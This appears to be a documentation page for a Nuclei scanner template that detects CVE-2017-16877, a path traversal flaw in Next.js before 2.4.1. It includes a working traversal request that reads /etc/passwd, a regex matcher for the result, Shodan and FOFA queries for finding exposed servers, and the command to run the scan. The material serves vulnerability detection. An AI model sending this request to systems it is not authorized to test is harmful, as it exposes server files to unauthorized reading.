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Nextjs <2.4.1 - Local File Inclusion

ID: CVE-2017-16877

Severity: high

Author: pikpikcu

Tags: cve,cve2017,nextjs,lfi,traversal,zeit

Description

Section titled “Description”

ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.

YAML Source

Section titled “YAML Source”
id: CVE-2017-16877


info:
  name: Nextjs <2.4.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
  reference:
    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
    - https://github.com/zeit/next.js/releases/tag/2.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16877
    - https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16877
    cwe-id: CWE-22
    epss-score: 0.00337
    epss-percentile: 0.71295
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2017,nextjs,lfi,traversal,zeit


http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a93615411456697c27c3a77ff5194467b6d4d2c30a92d6230ba128396ece8e0d022027f9efb1c6fb1fdb85f3c84ed64ab1be4a020dab70ea16f32f1786c7b51cc526:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-16877.yaml"

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